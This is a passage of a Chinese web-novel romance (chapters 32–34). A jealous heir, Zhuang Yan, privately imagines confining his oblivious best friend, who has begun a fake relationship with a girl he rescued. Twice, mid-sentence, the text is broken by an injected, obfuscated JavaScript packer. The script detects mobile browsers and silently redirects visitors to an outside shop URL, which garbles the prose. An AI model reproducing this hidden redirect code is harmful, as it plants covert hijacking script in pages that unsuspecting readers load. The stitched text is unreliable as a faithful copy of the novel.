他上一次这么紧张,还是在十二岁的时候,操着一口乡音浓重的普通话,被父亲逼着第一次去和年长好几倍的人谈判。 庄严重新甩钩,却不再看向湖面,而是转头一瞬不瞬地看着钟情的背影。 寻寻觅觅,突然站起来,又突然弯下腰去。 薄衬衫在阳光下几乎变得透明,显露出一截影影绰绰的腰线。 庄严的呼吸都有些发紧。 但面上仍旧是那副风轻云淡的模样,就像那片波澜不惊的湖面。或许只有当啷入水的钓钩知道,沉入水中的一路上究竟有多少汹涌的暗流。 钟情弯腰找了许久,终于在某处发现一根茅草。顺着扒拉过去,果不其然看见一座几乎就要被腐蚀殆尽的房屋骨架。 他拾起一根尚算完好的茅草,回头的那一刹那,直直撞入庄严视线中。 “庄严,我找到了!” 那一刻阳光轰然落下,照着他发根处细密汗珠、微湿的鬓角,和眼中亮晶晶的笑意。 庄严心跳空了一拍。 鱼儿终于咬钩,传来的动静却遥远得像来自另一个时空,庄严甚至没想起来要收杆。 钟情向他走过来,在他身边坐下。 来时掀起一阵微风,带着草木的芬芳,像是刚去春天里打了个滚。 他用手里的茅草挠了下庄严的下巴:“你做慈善呢?好半天才钓上来一条,还给放跑了。” 石头不大,没地方坐第二个人。钟情便随意在庄严脚边坐下,懒洋洋地靠在石头上。他觉得热,衣领解得很开,露出锁骨和一小片胸膛。 庄严别开视线,那片玉一样的皮肤白得几乎晃眼。 但他们之间的距离太近,稍有动作,钟情的肩就会碰到庄严的大腿。他刚在太阳底下晒过,身体还带着比体温更高一份的暖意。靠过来时,那鲜活的暖意隔着两层布料传到庄严身上。 庄严手里的钓竿攥得更紧。 他任由那条鱼脱钩逃走,心想,鱼早就是他的了。 他从石头上起身,和钟情一起坐在地上,杂草将他们完全笼罩,鼻尖是潮湿的水汽和草叶的清香。 钟情还以为他是在让座,很满意他的懂事。 “这么孝顺啊。好兄弟,最好一直坚持下去。” 他想要起身,庄严却按住他的膝盖,让他一下子泄力坐回原地。 “怎么了?”钟情问。 精巧得几近锐利的骨头被完全笼罩在掌心,覆着一层薄而柔软的皮肉,已经没有庄严最开始感受到的被太阳晒过后的热意。但庄严还是觉得有源源不断的灼烧感从掌心处蔓延开来,顺着手臂蜿蜒而上,一路烫到心底。 他的呼吸变得有些急促。 他张嘴想说什么,一声尖叫突然打断了他的话。 钟情连忙扒开草丛向声音传来的地方看去。 不知什么时候有旁人也来到湖面,他们大概一直都只是小声交谈,没惊动钟情二人。直到女孩子落水,一旁的男生第一反应居然是拔腿就跑。 钟情立刻跑过去跳水救人。 扎进湖面之前还不忘指挥庄严:“把他给我摁住了!” 庄严只得停下脚步,转了个方向去追嫌疑人。 钟情奋力向女孩游去。 她已经挣扎得没有力气,钟情轻而易举就抱住她的身体,将她托出水面。 八月的天气,即使是山中也不会太冷,大家都穿得清凉,钟情不可避免地碰上女孩裸露在外的胳膊。 在他的双手碰到女孩皮肤的一瞬间,纠缠他多年的疼痛竟然奇迹般的渐渐消失了。 钟情震惊之下差点忘了划水。 他强撑着把女孩送上岸,自己却没力气上去。还是庄严及时把他拉上来,脱下衣服披在他身上,替他挡住微凉的山风。 钟情低着头,有些失神。 庄严握住他的手,像握住了一块冰。他皱眉问:“钟情,你不舒服吗?” 钟情没有回答。 庄严不悦地抬头,正要责备他过于莽撞,却看见钟情突然抬头,紧紧盯向那个女孩,嘴角似翘非翘,眼中闪烁着异样的、狂热的光芒。 庄严心中浮起一丝不安的预感。 “钟情?” “庄严。”钟情抽出手,声音虔诚而兴奋,“我好像找到真爱了。” 庄严脑中嗡的一声。 32. 第二章 钟情取下肩上的衣服,披到女孩的身上。 看清楚他们的脸后,钟情才想起来这两人都是他的同班同学。只是因为怪病,他无心社交,除了庄严,他和任何一个同学都不过是点头之交。 女孩是失足落水,踩到湖边的湿泥上才不慎滑进去,男生并没有动什么手脚,但他见死不救也是事实。 了解清楚后,钟情打电话通知水库管理员和庄家助理。他们来得很快,还带来医护人员和警官律师,连协调的准备都做好了。 钟情为这阵仗有些哭笑不得,对庄家这大包大揽万无一失的做事风格肃然起敬。 熟悉的疼痛卷土重来。 钟情当即决定陪着女孩一块下山,却被庄严攥住手腕。 回头就是庄严黑沉沉的眼睛,像被冰冻住一般情绪莫名。 钟情动了动手腕,没挣开,心道完了。 他赶紧原地蹦跶两下:“我没事儿庄严。真的,你没看刚刚医生都说我没事。” 庄严一眼也不眨地凝望着他。 “你刚刚那句话什么意思?” “什么话?”钟情反应过来,“哦,你是说我找到真爱那句?” 他顿时变得兴奋起来,哥俩好地搂上庄严的肩膀。 “还能是什么意思?就是字面上的意思啊,我对她一见钟情了!” 钟情第一时间就和系统在脑海中讨论过这个医学奇迹。 系统查遍资料,给出的解释是:因为匹配的角色模型有肉眼不可见的粒子残缺,所以钟情灵魂进入后才会感受到那种均匀的、遍布全身的疼痛。 弥补粒子残缺最好的办法就是去寻找同类型的模型粒子。 这东西很好找,每一个身处与位面之中的人物身体周围都在逸散粒子,与他们进行肢体接触就能短暂吸附他们的粒子。 只不过他人的终究是他人的,一旦停止肢体接触,这些粒子就会渐渐重新回到主人身边。 【非常好,又是一个绝症。】 【忍一下忍一下,就两年。而且这不是给你找出解药了嘛。】 钟情想想也是,赶紧趁着管理员带人过来协调的机会,进行他的医学实验。 最后实验证明,面对饱受疼痛折磨的他,男性角色的模型粒子冷酷无情纹丝不动,女性角色的模型粒子大多都有些变化,但因为匹配度,钟情对它们吸附效果各有不同。 系统还检测到动植物的模型粒子也能起一些作用,可惜它们模型简单,逸散的粒子也少,即使性格安静的动物粒子匹配度会稍高一些,也依然只能说是聊胜于无。 钟情感叹:【难怪我总觉得在马场待着会好受些,原来这不是我的错觉?】 感叹完了又觉得惊奇:【可是不对啊,难道我之前从来没和女孩子有过肢体接触?】 他细细一想,好像还真没怎么有过。 他穿过来的年龄差不多是十岁,小学快毕业的年纪,男女生早已经分开玩了。何况钟情那时候懒得不行,整天不是窝在马场睡觉,就是窝在家里打游戏。 后来认识了庄严,之后便只有庄严。 【而且粒子吸附需要时间的。】系统提醒道,【你在湖里和那个女孩扑腾了三分钟。你之前哪有机会和女孩皮肤接触三分钟?】 钟情大惊:【我之后也没这个机会啊!】 系统一想也是,突然福至心灵:【要不你跟她谈个恋爱?这就可以每天光明正大拉三分钟小手了。】 【你这什么馊主意——等等,好像也不是不可行。】 钟情双眼一亮。他突然想到一个绝妙的借口,不仅可以正大光明拉三分钟小手,还可以正大光明地打游戏! 到时候双管齐下,他都有点不敢想象那得舒服成什么样子。 系统赶紧把他们的计划写在日程表上,正好看见表上记载的一件事,顺嘴提了一下。 【你要和女孩扮假情侣也不是不可以,但你一旦这么做了,就不能再对庄严卖深情人设。】 钟情明白这一点,心系庄严,却交女朋友,这怎么也说不通。 【放心。我本来就没想过选庄严。我跟他太熟了,实在是不好意思。】 他跟庄严已经认识十年,是兄弟,是损友,互相做过挂件跟班。跟这样一位如父如兄的朋友开口说爱,先不说他心里怎么想,估计庄严会先被吓死。 况且…… 【要真是当庄严舔狗,他绝对第一时间收走我的游戏机。还是选主角受林姿寒吧,到时候来个直男一见钟情为爱自我掰弯,谁见了能不夸一句情圣?】 “一见钟情?” 庄严重复着,他的嘴唇有些发白。 钟情没有察觉。 他笑得很高兴:“是啊,我已经下定决心向她告白了。诶庄严,你还钓鱼不?不钓的话咱们就赶紧下山,我等不及了。” 庄严已经从一开始强烈的冲击中清醒,他强迫自己冷静下来,用毫无异样的声音质问: “钟情,你不觉得荒谬吗?” “什么?” “你甚至不知道她的名字。” “笑话,她是我们同班同学,我怎么会不知道?” “她叫什么?” “她叫……呃,她叫……” 庄严捏着鱼竿的手稍稍松了一些。再次开口的声音低缓了几分,带着谁也听不出来的求饶意味,“钟情,别开玩笑了。” 钟情脸上的笑意渐渐淡下来,他有点不太高兴。 庄严总是喜欢管着他,不让他做这不让他做那。这次不让他谈恋爱,他也并不觉得意外。 之前他能忍耐,是因为那些只是无伤大雅的小事。这次可不一样,关系到他未来整整两年的生活质量! “我没开玩笑。”钟情表情严肃,“我真的对她一见钟情了。” 庄严手中传来“咔哒”一声脆响,钟情低头去看,鱼竿硬生生被折断,露出里面的钛合金内芯。 他吓了一跳,这什么怪力? 庄严幽幽道:“你以前没说过你喜欢……任何人,我以为你永远不会喜欢上任何人。” 钟情失笑:“这怎么可能?我又不是和尚。” 到底是不忍见到这位老父亲失魂落魄的模样,钟情重重地拍了下他的肩。 “庄严,我是真的喜欢她。我也知道一见钟情听起来很不可思议,但我的名字就是钟情,这种事发生在我身上,说不定就是缘分呢?” 身后突然吹来一阵风,草叶向两边倒去,眼前的视野一下子开阔起来。不远处小马打了个响鼻,似乎是在抱怨无聊,钟情笑着吹了声口哨安抚它,眼尖看见草木中夹杂的野花。 他起身摘了几朵,回头笑问:“你说如果我今晚用这些野花告白,会不会显得太寒酸?” 庄严没有说话。 钟情不以为意,继续去辣手摧花,突然看见一根眼熟的茅草,捡起来朝呆坐的人递过去,“你外公的房子,我快被晒化了才找到的,还要不要了?” 庄严还是没有动静。 但这并非庄严的本意。 无论发生什么,他都不会对钟情不理不睬。他很想若无其事地伸手接过来,可他身上就像是披了一件石衣,丝毫无法动弹。 他渐渐意识到他此时面临的真相。 钟情是认真的。 他有喜欢的人。 他喜欢的是女孩。 庄严终于又能动作的时候,他机械性地握住鱼竿,一甩钩,却迟迟没见到鱼钩入水。 钟情转头一看庄严又在钓鱼,正要损两句,看见他手上的血迹,愣了一下,立刻扔下花飞奔过来。 “庄严!鱼钩扎你手上了你感觉不 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他原本还想损几句,但终究没有。一来庄严脸色苍白,活像生了一场大病,二来他实在是没有这方面的经验。庄严今天不知道是怎么回事,他说话不客气好几回了也没挨训,换做从前肯定要被说教一番。 胃里饿得有些难受了,钟情摸了摸小腹,想起庄严也还没吃饭,估计这会儿比他还饿。他好歹还在打游戏的间隙吃了两块饼干垫一下呢。 车队应该还有好一会儿,就这么饿着可不行。 他回帐篷里拿出自己的包,把里面的东西往庄严面前一倒,笑盈盈问:“庄严,你想吃什么?我让你先挑。” 面前的食物都是薯片一类的零食,是金尊玉贵自律养生的庄大少爷绝不会碰的东西。但是钟情很喜欢,高热量好味道的食物就像游戏一样能让他暂时忽略疼痛,当然也就像游戏一样,是他与庄严之间不多的分歧之一。 每次发现他偷偷摸摸吃零食,庄严势必要责备几句。 庄严看着钟情。 那双漂亮的眼睛里有浓浓的兴味,是一种看见恶作剧将要得逞的愉悦和兴奋。这样的钟情是很少见的,他大多数时候都恹恹的,似乎总有什么事情让他烦躁。 若是换做今天以前,庄严会无比珍惜这个样子的他,爱屋及乌,喜他所喜。但现在,他心中只有无限悲哀,甚至为钟情这份与他大相径庭的喜悦感到愠怒。 他几乎想要就这样把他未曾出口的话一股脑说出来,然后亲眼看着面前这双戏谑的眼睛,变得慌乱,变得惊恐,变成某种他想象不出的情绪。 钟情正疑惑庄严怎么不选,视线下移看见他那只被包得像哆啦A梦的手,噗嗤一笑。 “我忘了,你现在不方便。”他兴奋得都顾不上自己身体的隐痛,撸起袖子,“我来喂你吧。” 他有心拿辣椒凤爪为难庄严,但到底还是没敢,退而求其次选了一罐八宝粥。 这也够钟情高兴的了。 庄严,这个十六岁就成为A市顶级豪门继承人的大少爷,吃穿住行举手投足都仿佛模板一样精确标准,他本该在宴会上用刀叉或是在派对上摇红酒,现在却在深山老林里,老老实实一口一口舔八宝粥罐子里糖度超标的塑料勺。 哈哈哈哈,他庄严也有今天。 钟情的幸灾乐祸都快满溢出来了,庄严实在忍不了,突然咬住送到嘴边的小勺子。 钟情一扯,没扯动,再一扯,这回庄严松了口。只是他松口松得不够干脆利落,所以钟情把勺子抽出来的时候,感觉就像是在从猛兽嘴里拔出猎物的骨头。 “钟情,我有话跟你说。” 钟情心中笑他明明都破大防了还要装得一本正经,面上故作不知,“说啊,我听着呢。” 他语气中一派轻松散漫,全然不知接下来听见的那句话会如何决定他的命运。 33. 第三章 那句已经偷偷练习过无数遍的话就缠在舌尖,即将出口前还是被扼杀。 庄严终究不忍见到钟情此时眼中的光彩消失,低声道:“钟情,别冲动。这不是小事,你需要再考虑一下。” “至少……不要在今晚。” 钟情想了想:“行吧。” 他本也没想过几句话就能让庄严相信他的“真爱”,对他们这样的出身来说,这两个字是可笑、可憎的。 接下来一连几天钟情都不曾再提起过告白。 他像是完全忘了这件事,又恢复成从前那样没骨头似的懒散模样,山谷中精神振奋的那个他似乎只是昙花一现的幻觉。 钟情其实是在等待。 等他救下的那个女孩和男朋友彻底分手,走出情伤;等他想到一个精妙绝伦的办法,足以向庄严证实他的“真爱”不是虚言。 同时,他也在等庄严。 庄严这几天明显魂不守舍。他向来是从容不迫的模样,即使刚当上继承人接受家族秘密训练的那两年,也从来没露出半分焦躁不安来。 所以现在一有异样,立刻就被钟情瞧出端倪。 钟情还是第一次见到这样别扭的庄严。 说每句话之前都要在心中先斟酌一番,像是生怕话题转移到他不愿面对的事情上,但暗地里又总是忍不住观察钟情,拐弯抹角地想要知道钟情对这件事的看法。 明明讳莫如深,却又百般试探。 跟电视里那些担心孩子青春期叛逆乱谈恋爱的保守家长们一模一样。 等来等去也没等到庄严开诚布公和他谈一谈,钟情无比感慨—— 好一个父爱如山,沉默是金哪。 一直到坐上回程的专机,钟情都安安分分,没有再做什么,甚至没有和那女孩见一面。 庄严看着一上飞机就埋头大睡的钟情,悬了几日的心终于稍稍放下。他松了口气,像溺水之人终于抓到一根浮木。 * 假期结束后,钟情重返学校。 庄严因为公司的缘故,请了上午的假。不过他们前一天晚上就约定好派陈特助中午来学校接钟情,一起用午饭,再一起回学校。 陈特助对自家少爷这种难舍难分的强迫症习以为常,开车到学校后,等了半个小时,仍没等到人。 他知道这位钟小少爷自幼有家里娇养着,长大有兄弟惯着,向来没什么守时的观念,总爱磨磨蹭蹭迟到个几分钟。 但迟到半个小时,这还是从来没有的事情。 他先是给钟情打电话,连打几个打不通,立刻就给庄严打过去。 庄严沉着脸吩咐陈助理带人沿学校外的餐厅挨个找下去,一面让人去联系他和钟情往日去过的会所。 他自己则用最快的速度开车赶回学校。 一路上他给钟情和钟家其他人都打过电话,毫无例外没有音信。 钟情的电话仍旧打不通,钟家人一问三不知,反倒好奇怎么连他也会不知道钟情的行踪。 上最后一节大课的教室里还有几个学生没走。 庄严刚踏进门就察觉到古怪的气氛。 地板上还有未清扫干净的彩带,几片玫瑰花瓣凌乱散落,气球漂浮在空中,被天花板拦住,飞不出去。他就像是一个在宴会上迟到的客人,闯进去的那一瞬间,宴席上所有宾客的快乐兴奋都被按下休止键,全都抬头用异样地看向他。 然后,庄严在他们口中听见一个他藏着掖着好几日,不敢让钟情知道的名字—— 白悦。 是湖边救下的那个女孩的名字,钟情向她告白了。 在庄严没在他身边的时候。 庄严回到车里。 派出去寻找的人都渐渐捎回消息,都说没有见到钟少爷。 庄严仅仅攥住方向盘,他用了极大的力气,虎口处将将痊愈的伤口再次崩裂。 眼前越来越频繁地闪过钟情说“真爱”时闪闪发光的模样,频繁到闭眼时脑中划过触电般的疼痛。 疼痛让他全然冷静下来。 不在他身边,不在家里,不在学校,也不在偶尔才去一次的场馆。 还会在哪里呢? 庄严知道答案。 他甚至从一开始就想到过,只是因为不愿承认,故意忽略过去。 他重新睁开眼睛。 他已经很久没有休息了,此刻眼下青黑,双眼遍布血丝。 他点燃引擎,车速逐渐加快,朝既定的地方疾驰而去。 庄严推开马场的门时,钟情正把牵马绳交到小女朋友的手中,然后握住女朋友的手,顺带也握住牵马绳,领着身后的枣红马在训练场中一圈圈慢慢走着。 掌心下是女孩子绵软的手背。 钟情有点不好意思,但粒子填补带来的无痛和平静很快消解了这点害羞,他感觉舒服得就像在云端漫步。 听到开门声,他回头,见来人是庄严,立刻笑着朝他挥手。 “庄严,快来,给你介绍我女朋友,白悦!” 但庄严没有过来。 他抬步迈上看台,背着光坐下。 他整张脸都藏在阴影里,钟情只能感觉到他正不错眼地盯着他,但无法分辨他的表情。 钟情突然想起什么,牵着女朋友一块来到储物柜,翻出背包里的手机,看到那上面一长串赤红的未接来电。 他一拍脑袋:“抱歉啊庄严,我告白后太激动,把跟你吃饭的事给忘了。” 见庄严不说话,他曲肘靠在看台前的栏杆上,歪头微笑,“不是吧?你真生我气了?这么大喜的日子你确定还要生我气?还是不是好哥们了?” 庄严沉沉看着他。 看台的位置较高,钟情还微微俯身,这样看过来的眼神就是全然仰视的,带着点点讨好的笑意,是知道自己理亏在撒娇。 钟情不爱笑,更很少这样笑。 所以每到这个时候庄严都会妥协,即使半夜十二点还要游戏机,也会无可奈何地给他。 但现在庄严的视线不在那张无可挑剔的漂亮脸蛋上。 他在看他们交叠的手。 钟情丝毫没觉得自己时刻牵着女朋友有什么好奇怪的。马毕竟是大型动物,对从未接触过的人来说具有一定危险性,他当然不可能让女孩子一个人待着。 察觉到庄严的视线,他甚至还骄傲地和女朋友手拉手晃了晃,坏心眼地秀恩爱。 “真不理我?” 钟情没有哄人的耐心,像从前那样把一切都留给庄严自己处理,“那你就先自我开解一下吧,等原谅我了,记得接我去吃饭。” 他说罢就转身朝枣红马走去。 马匹已经熟悉白悦的气息,见气候差不多了,钟情扶着白悦的腰,将她托上马,牵着绳带她缓步前行。 白悦从来没有骑过马,好几次都吓得差点去抱马脖子。钟情温柔地制止她的动作,耐心重复之前就已经讲过的骑马禁忌。走过几圈后,白悦终于放松,钟情便开始教她如何跟着马匹的步伐起坐。 他实在是一位专业而又温柔的老师,半个小时后,白悦就能在无人牵引的状态下自己握着缰绳控制马匹前进。 钟情立刻把她夸出花来。 怕骑得太久大腿酸痛,他半抱着白悦把她扶下马,转头再去看庄严时,看台上已经空无一人。 庄严坐回车里,他并没离开,透过车窗怔怔看着马场。 这是A市最神秘的马术俱乐部,里面除了马匹和马具,还有一切度假所需的生活设施。建筑都装着西式的尖顶,修得富丽堂皇,跑马场铺着进口纤维纱,一眼望过去几乎看不到尽头。 这是钟情母亲的遗产。 他母亲生前是能参加国际赛事的骑师,钟情童年时期最常做的事情就是坐在一旁看母亲训练。 后来母亲病逝,钟情仍旧常常来这里。 他在马场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163307|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里待的时间,比在钟家还要多。但他从不骑马,也从不训马,只是在马匹身边坐着,看它们低头咀嚼燕麦和苜宿草,安静得就像马场里养的小猫。 除了庄严,他没带任何人来过这里。 但今天,他不仅带白悦来到这里,亲手教她骑马,还亲手为她绑了辫子。 庄严见到白悦的第一眼就认出来,她头盔下露出的那根用丝巾扎起来的辫子,就是钟情母亲骑马时最爱的发型。 脑海中无数个声音响起,几乎盖过汽车引擎声。 全都是他自己的声音,在提醒他——真爱。 眼前草木飞快向两边退去,庄严在猛烈的风中渐渐意识到一点。 他早已将钟情视作自己的唯一,无论是作为亲人、朋友、还是爱人,钟情都是他的唯一。 但对钟情来说不是。 他生命里还可以走进很多人。 他或许会和喜欢的女孩结婚,或许还会生一个和他一样漂亮的孩子。他会渐渐将所有心思投入自己的新家庭,他会渐渐的,和他童年时代的好友形同陌路。 虎口骤然剧痛。 前车突然变道,庄严猝不及防,没能及时转向,直直朝前车撞上去。 他眼前有片刻发白,再次恢复视力时,看见挡风玻璃碎了一小块。头皮传来疼痛感,似乎被割伤,有血顺着额头流下来。安全气囊弹出顶在胸前,肋骨处传来一阵钝痛。 庄严冷静地打电话叫救护车。 他甚至还有余力安抚慌慌张张从前车跑下的车主。 小伤而已,不重要,死不了。 要是能死或许还好些,这样就可以顺理成章给钟情打一个电话。 若说了什么不该说的,也不能苛责他一个将死之人。 庄严在医院住了一个星期就要求回家。 他头上缝了七针,肋骨断了两根。这场车祸像攻破了身体的免疫机制,很少生病的他竟然在住院第一晚就高烧不退,把值班医生吓个半死。 好在年轻,身体底子好,第五天他的病情伤势都稳定下来,尽管极不赞同,院方还是批准了他的出院手续。 庄严不愿意让钟情看见自己这副虚弱难堪的模样,没说自己出了车祸,随便找了个公司需要出差的借口,钟情没有怀疑。 或许他根本就没功夫怀疑。 手机上弹出一条新消息。 学校论坛中某个角落总是发布一些八卦帖子,最近的热点当然是钟情和他的小女友。他们又做了什么浪漫事,他们又说了什么甜蜜话。 整整一周,庄严自虐般看着这些帖子,对家庭医生换药时的摇头叹气视而不见。 新发布的帖子标题是一个硕大的哭脸。 不知名的贴主悲叹自己的CP塌房,想不通A大双璧为什么就这样分道扬镳。评论区已经盖起许多层楼,所有人都在从各个角度抠糖证明庄某一定深爱钟某。 庄严冷眼看着那些评论,突然笑了一下。 这么多人都能看出来,为什么偏偏钟情看不出来? 他就这么笨吗? 是不是已经笨到,只要随随便便一个借口把他骗过来,就可以永远困住他? 落地窗拉了窗帘,一丝缝隙也不露。 所有的家具都走黑白灰极简性冷淡风,因为没开灯,即使是大白天,房间里也一片黑暗,只能看清家具的大致轮廓。 黑暗有一种能扭曲时间的力量,会让藏在角落里的人滋生出无比肮脏的妄想,企图翻天覆地,将猎物就此囚禁。 钟情就是在这种情况下摸黑进来的。 庄严名下所有房产都录入了他的指纹,他一路走进来畅通无阻。但这具身体有点夜盲,主人没开灯,他也就没有自作主张把灯打开。 庄严沉浸在自己的思绪里,有人进来了也没发现。 直到钟情被什么东西绊倒在地,他听见巨响,这才猛地惊醒。 “钟情?” 34. 第四章 “是我。” 钟情揉着膝盖上的青紫,一下一下地抽气,又怕庄严因为担心不管不顾跑下床来看他的伤口,连忙说:“没事没事,就摔了一下。没流血,用不着包扎,也不需要急救箱。” 他说的都是庄严以前会做的事。每逢他受伤,庄严总是会很严格地检查他的伤口,连破个皮都要贴创口贴。 庄严没说话,他重新坐回原位。 他静静看着钟情一路摸索着,慢慢挪到他身边,就像猎人看着一无所知的猎物逐渐靠近。 猎物笨拙地撞入他怀中,他伸手将他圈住。 庄严有一点近视,看文件的时候需要戴眼镜,但夜视能力比钟情好太多,这样黑暗的环境下也能精准地找到他的眼睛。 那是一双因为看不见而懵懂的眼睛。 “怎么不开灯?” “怕你刺眼睛。你眼神又不好——诶,你捏我干什么?” 庄严松开他的脸颊。 指尖柔软光滑的触感还未消失。真是个傻子,什么都看不见还有胆说别人眼神不好。那么,若是将他困在黑暗之中,是不是也会看不见禁锢他的锁链? “不是陪女朋友么,来我这儿做什么。” 钟情听出他语气的冷淡,揉着脸冷哼一声。 “你还好意思生气?是我不愿意来看你的吗?你让陈特助骗我说你出差了!要不是严奶奶给我打电话,我还不知道你出车祸了!” 钟情几乎快被气笑了,天知道他当时听到消息时有多么着急。 剧情里庄严会遇到一场大劫,这场劫难中他的人生会降到最低谷,健康受损,事业被重创,唯一的朋友为救他牺牲。也是在这场劫难后,少年人终于褪去最后一点少年心性,日日夜夜磨牙利爪,终于将每一个敌人的喉咙撕得粉碎。 但剧本描述太过笼统,钟情并不知道这场劫难是什么,也不知道会在什么时候发生。 他只能时刻跟紧庄严,在需要的时候为他冲锋陷阵。 “说说吧庄严,这么大的事却瞒着我,你到底什么意思?” “害怕打扰你和女朋友谈情说爱,所以不告诉你。”庄严讥讽道,“你该谢谢我才对。” 钟情在这个位面还是头一次被骗,他实在想不通庄严怎么骗了人还能这么理直气壮。 “那我可还真得谢谢你,这一个星期没有你来当电灯泡,我和悦悦过得那叫一个浓情蜜意。” 庄严无声冷笑。 悦悦?叫得还真亲密。哪里像叫他的时候,永远连名带姓一口一个庄严地叫着。 愤怒之中庄严脑中闪过一些念头,他下意识地跟随这些念头深入,猛然清醒过来后才发觉自己在妒火之中都想了些什么。 他在想他名下的房产,在想钟情父亲去世后上位的钟家大伯,在想庄家现在的实际掌权人、被钟情叫做“严奶奶”的严老夫人。 他想要驱散这些念头,但那钟情还在喋喋不休。 “这一周我和悦悦天天都在一起,简直乐不思蜀。我们晚上还一起住酒店了呢,有温泉的那种。” “……你们开房了?” “怎么?嫉妒?” 钟情得意洋洋,同时又有些心虚。 只有他自己知道所谓的开房其实只是在一起通宵打游戏——毕竟钟情最开始和白悦提出假扮情侣的理由,就是想要避开庄严的监视,正大光明地打游戏。 这个理由换在其他人身上会很不可理喻,但放在他的老父亲庄严身上……嗯,总之,悦悦当场就信了。 他们打了一晚上电动游戏,其间钟情手把手教过几次遥控器的使用。就这么一点肢体接触,足够钟情一夜无痛睡个好觉,第二天醒来的时候幸福得可以直接去普度众生。 庄严正在静谧地、可怖地哂笑。 他的确很嫉妒。 拜钟情所赐,他脑子里那些过分的念头非但没有消散,反而变本加厉。 他有很多房产,偏僻的郊区别墅、安静的公寓顶层……都做了很好的隐蔽和隔音,轻而易举就可以藏起一个人。 钟家大伯色厉内荏又急功好利,威胁他利诱他是再简单不过的事,轻而易举就可以让他将钟情从钟家除名。 严老夫人,他血缘上的祖母,现在还掌管着半个集团,但她年事已高,最多不过两年,就会把剩下的权力让渡给他。她关爱钟情胜过关爱本家任何一个小辈,绝不会眼看着他这样对钟情,但……也不过只是有一点麻烦而已。 钟情还在絮叨他这一周和女朋友的快乐回忆,庄严默不作声听着,伸手拉开床头柜。 仗着钟情什么也看不见,他抽出一根领带,放在面前端详。 他现在很想把它用在钟情身上,勒住他的嘴,让他说不出那些话,或是捆住他的手,让他无法再逃走。 钟情唱了会儿独角戏,觉得索然无味,突然想起自己过来的本意,赶紧换了个话题,问道: “庄严,你实话告诉我,最近是不是有人害你?” 庄严手里的动作顿住。 钟情靠得很近,像说悄悄话一样附在他耳边,温热的气息拂过脸颊,带着阔别一周的熟悉感。 庄严若无其事道:“为什么这么问?” “你最近状态很不对劲。你怎么可能开个车把自己撞骨折?你以前从不犯错的。是不是有人在暗中给你使绊子?你爸中风好了,还是你哥出狱了?” 或许黑暗能放大人的情绪,钟情不知道他说这话时眼中有着绝对的信任,和盲目的崇拜。任何人见到这样的眼神,都会为之失神。 庄严捏紧手里的领带。 “这些与你无关。为什么想知道?” “你是我最好的兄弟,怎么会与我无关?” “你是想帮我?” “当然咯。” “你能怎么帮我呢?” “我想想。” 钟情同一个姿势久了有些累,想直起身子。但庄严的手突然用力,不肯让他起身。 钟情毫无挣扎,每次他站没站相坐没坐相的时候,庄严就会像这样控制他的身体。这个人看着斯斯文文,其实力气极大,钟情反抗不了,久而久之,也就习惯了。 不让起那就躺着吧。钟情直接甩掉拖鞋,钻进庄严被窝,还踢了主人一脚,抢占更大的空间。 他在黑暗中冥思苦想。 他想出一条:“我大伯对我手里的股份很感兴趣。我可以卖给他,然后把钱给你。” “或者直接把股份转给你,这样你就可以奴役钟家任何一个人了。”大概是觉得这办法很有趣,他说这句话时满眼笑意。 笑过后继续思考:“还有我爸妈留给我的那些不动产、基金股票之类的,也都可以卖了给你。” 他们肩并肩半靠在床上,天还没黑就拉上窗帘,仿佛与真正的世界势不两立,只想在他们创造的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163308|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑夜中互相依偎。 庄严有一瞬间恍惚。 上一他们像这样躺在一张床上,似乎还是初中时候的事情。 他声音不再那么冷硬,手里的领带也渐渐放下。 “这么多,都给我吗?” 钟情一挥手:“都给你。” “真的?庄家人都是狠角色,不到满盘皆输绝不退场。如果我斗输了,你会倾家荡产的。” “倾家荡产就倾家荡产。”钟情说得相当潇洒。 “钟情……你知道你在说什么吗?” 庄严的声音听起来像是在忍耐,似乎在压抑着某种将欲溢出的情绪,带着几分微微的喘息。 钟情警觉:“你不会真的栽了吧?” 方才的潇洒消失不见,他赶紧寻求安全感,“但就算咱俩倾家荡产,你也一定会努力挣钱养我的对吧?” 庄严轻笑,心软得一塌糊涂:“当然会。” 随即想到什么,笑意渐渐散去,他咬着后槽牙,控制自己平静地说出后半句。 “但我不会养你的女朋友。” “……” 钟情无语,“我就说上次在马场你怎么招呼也不打一声就跑了,没想到还真的是在为这个生气。庄严,你不是吧,都大学了,还管我谈恋爱?” 庄严以前也管过几次,不过那时候钟情不仅要忍受皮肤的疼痛,还被强押着考大学,就算庄严不阻止,他也没这个心思。 那时候的钟情即使收到情书,也会直接交给庄严处理。见他是真不感兴趣,渐渐的,庄严就不再过问。 钟情曲肘碰了下身边的人:“你认真的?真不帮我养女朋友?” 庄严沉默,在钟情失焦的视线中,换了一条领带。 钟情又捅一下:“万一我结婚,女朋友成老婆了,你也不帮我养?” 庄严还是沉默。 他仍旧不满意那条领带,伸手再去摸索,在空了一大半的抽屉里摸到一个盒子。他顿了一下,很快就想起来那是什么——他原本是想在告白后,再和钟情一起用的。 钟情没听到回答,还来劲儿了:“那万一我有孩子了,一家三口穷得上街要饭,你不会还不帮我养吧!?” 咔嚓——黑暗中传来什么东西被捏扁的声音。 